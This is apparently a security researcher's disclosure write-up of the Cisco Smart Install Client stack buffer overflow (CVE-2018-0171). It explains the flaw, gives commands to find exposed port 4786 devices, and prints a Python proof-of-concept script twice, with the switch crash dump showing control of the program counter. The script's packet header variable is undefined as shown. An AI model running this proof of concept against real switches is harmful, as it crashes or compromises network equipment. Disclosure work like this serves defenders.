A stack-based buffer overflow vulnerability was found in Smart Install Client code. This vulnerability enables an attacker to remotely execute arbitrary code without authentication. So it allows getting full control over a vulnerable network equipment.
Smart Install is a plug-and-play configuration and image-management feature that provides zero-touch deployment for new switches. It automates the process of initial configuration and the loading of the current operating system image for a new network switch. This means that you can ship a switch to a location, place it in the network and power it on with no configuration on the device required and without an administrator. The technology also provides a backup of the configuration when it changes and hot-swapping broken equipment.
A network using Smart Install includes a group of network devices, known as clients, that are served by a common Layer 3 switch or router that acts as a director.
The director provides a single management point for images and configuration of client switches. Client switches have a direct or indirect connection to the director so that they can receive image and configuration downloads from it.
More information about the Smart Install technology can be found in the official documentation.
The vulnerability is located right in the code of Smart Install Client.
It is important to note that the technology requires that it be enabled on clients by default. This fact affects the coverage and impact of the vulnerability, but more on this below.
The SMI IBC Server Process process contains a Smart Install Client implementation code. The Smart Install Client starts a server on the TCP(4786) port (opened by default) to interact with the Smart Install Director.
When this server is processing a specially crafted malicious message ibd_init_discovery_msg a stack-based buffer overflow occurs.
To be more precise, the buffer overflow takes place in the function smi_ibc_handle_ibd_init_discovery_msg
Vulnerable Function CFG
because the size of the data copied to a fixed-size buffer is not checked. The size and data are taken directly from the network packet and are controlled by an attacker.
This vulnerability won the G-Influence award at GeekPWN 2017 Hong-Kong after its successful exploitation had been demonstrated.
About GeekPwn. As one of the world’s leading platforms for cyber-security researchers, GeekPwn enables security researchers and executives around the world to share their thoughts and findings. Since 2014, GeekPwn has successfully held 8 sessions in Beijing, Shanghai, Macau, Hong Kong and Silicon Valley, and responsibly disclosed hundreds of critical security vulnerabilities and awarded over millions (USD) to contestants.
Under the terms of the contest, it was necessary to attack the Cisco Catalyst 2960 switch and fulfill two conditions:
Reset or change the enable password to enter privileged EXEC mode:
Intercept traffic between other devices connected to the switch and the Internet:
More details on the techniques and methods used to create the exploit for this vulnerability can be found in our research “How To Cook Cisco”.
If you have a Cisco network equipment with an open TCP 4786 port, it is vulnerable. In order to find such equipment, simply scan your network.
nmap -p T:4786 192.168.1.0/24
To check whether the network equipment is of a Smart Install Client type, enter the following commands:
switch>show vstack config
Role: Client (SmartInstall enabled)
Vstack Director IP address: 0.0.0.0
switch>show tcp brief all TCB Local Address Foreign Address (state) 0344B794 .4786 . LISTEN 0350A018 .443 . LISTEN 03293634 .443 . LISTEN 03292D9C .80 . LISTEN 03292504 .80 .* LISTEN ```
After the vulnerability was discovered, we decided that it could only be used for attacks inside an enterprise network. Because in a securely configured network, Smart Install technology participants should not be accessible through the Internet.
But scanning the Internet has shown that this is not true.
During a short scan of the Internet, we detected 250,000 vulnerable devices and 8,5 million devices that have a vulnerable port open.
Probably, this happens because on Smart Install clients the port TCP(4786) is opened by default and network administrators do not notice this somehow.
The vulnerability was checked on the following devices: Catalyst 4500 Supervisor Engines, Cisco Catalyst 3850 Series Switches, and Cisco Catalyst 2960 Series Switches.
Moreover, all devices that may fall into the Smart Install Client type are potentially vulnerable. Here is a list of them:
For more information, please, check:
The following is a listing of PoC for the vulnerability: ```
import socket import struct from optparse import OptionParser
parser = OptionParser() parser.add_option("-t", "--target", dest="target", help="Smart Install Client", default="192.168.1.1") parser.add_option("-p", "--port", dest="port", type="int", help="Port of Client", default=4786) (options, args) = parser.parse_args()
def craft_tlv(t, v, t_fmt='!I', l_fmt='!I'): return struct.pack(t_fmt, t) + struct.pack(l_fmt, len(v)) + v
def send_packet(sock, packet): sock.send(packet)
if name == "main":
print "[*] Connecting to Smart Install Client ", options.target, "port", options.port con = socket.socket(socket.AF_INET, socket.SOCK_STREAM) con.connect((options.target, options.port)) payload = 'BBBB' * 44 shellcode = 'D' * 2048 data = 'A' * 36 + struct.pack('!I', len(payload) + len(shellcode) + 40) + payload tlv_1 = craft_tlv(0x00000001, data) tlv_2 = shellcode pkt = hdr + tlv_1 + tlv_2 print "[*] Send a malicious packet" send_packet(con, pkt)
To attack the switch, run the command below:
host$ ./smi_ibc_init_discovery_BoF.py -t 192.168.1.1
Switch should print a crash info and reboot:
00:10:35 UTC Mon Mar 1 1993: Unexpected exception to CPUvector 1200, PC = 42424240
Writing crashinfo to flash:/crashinfo_ext/crashinfo_ext_15
=== Flushing messages (00:10:39 UTC Mon Mar 1 1993) === Buffered messages:
Cisco IOS Software, C2960 Software (C2960-LANBASEK9-M), Version 12.2(55)SE11, RELEASE SOFTWARE
Technical Support: http://www.cisco.com/techsupport
Copyright (c) 1986-2016 by Cisco Systems, Inc.
Compiled Wed 17-Aug-16 13:46 by prod_rel_team
Instruction TLB Miss Exception (0x1200)!
SRR0 = 0x42424240 SRR1 = 0x00029230 SRR2 = 0x0152ACE4 SRR3 = 0x00029230
ESR = 0x00000000 DEAR = 0x00000000 TSR = 0x84000000 DBSR = 0x00000000
CPU Register Context:
Vector = 0x00001200 PC = 0x42424240 MSR = 0x00029230 CR = 0x33000053
LR = 0x42424242 CTR = 0x014D5268 XER = 0xC000006A
R0 = 0x42424242 R1 = 0x02B1B0B0 R2 = 0x00000000 R3 = 0x032D12B4
R4 = 0x000000B6 R5 = 0x0000001E R6 = 0xAA3BEC00 R7 = 0x00000014
R8 = 0x0000001E R9 = 0x00000000 R10 = 0x001BA800 R11 = 0xFFFFFFFF
R12 = 0x00000000 R13 = 0x00110000 R14 = 0x0131E1A8 R15 = 0x02B1B1A8
R16 = 0x02B1B128 R17 = 0x00000000 R18 = 0x00000000 R19 = 0x02B1B128
R20 = 0x02B1B128 R21 = 0x00000001 R22 = 0x02B1B128 R23 = 0x02B1B1A8
R24 = 0x00000001 R25 = 0x00000000 R26 = 0x42424242 R27 = 0x42424242
R28 = 0x42424242 R29 = 0x42424242 R30 = 0x42424242 R31 = 0x42424242
PC = 0x42424240, SP = 0x02B1B0B0
Frame 00: SP = 0x42424242 PC = 0x42424242
Diclosure Timeline * 13/05/2017 – The vulnerability was presented at the GeekPWN 2017 Hong-Kong. Under the terms of the competition, interaction with the vendor for fixing the vulnerability is the right and responsibility of the GeekPWN organizers.
28/03/2018 – Final fix. The advisory cisco-sa-20180328-smi2 was published. And CVE-2018-0171 assignmented.
28/03/2018 – Blog article posted.
# smi_ibc_init_discovery_BoF.py import socket import struct from optparse import OptionParser # Parse the target options parser = OptionParser() parser.add_option("-t", "--target", dest="target", help="Smart Install Client", default="192.168.1.1") parser.add_option("-p", "--port", dest="port", type="int", help="Port of Client", default=4786) (options, args) = parser.parse_args() def craft_tlv(t, v, t_fmt='!I', l_fmt='!I'): return struct.pack(t_fmt, t) + struct.pack(l_fmt, len(v)) + v def send_packet(sock, packet): sock.send(packet) def receive(sock): return sock.recv() if __name__ == "__main__": print "[*] Connecting to Smart Install Client ", options.target, "port", options.port con = socket.socket(socket.AF_INET, socket.SOCK_STREAM) con.connect((options.target, options.port)) payload = 'BBBB' * 44 shellcode = 'D' * 2048 data = 'A' * 36 + struct.pack('!I', len(payload) + len(shellcode) + 40) + payload tlv_1 = craft_tlv(0x00000001, data) tlv_2 = shellcode pkt = hdr + tlv_1 + tlv_2 print "[*] Send a malicious packet" send_packet(con, pkt)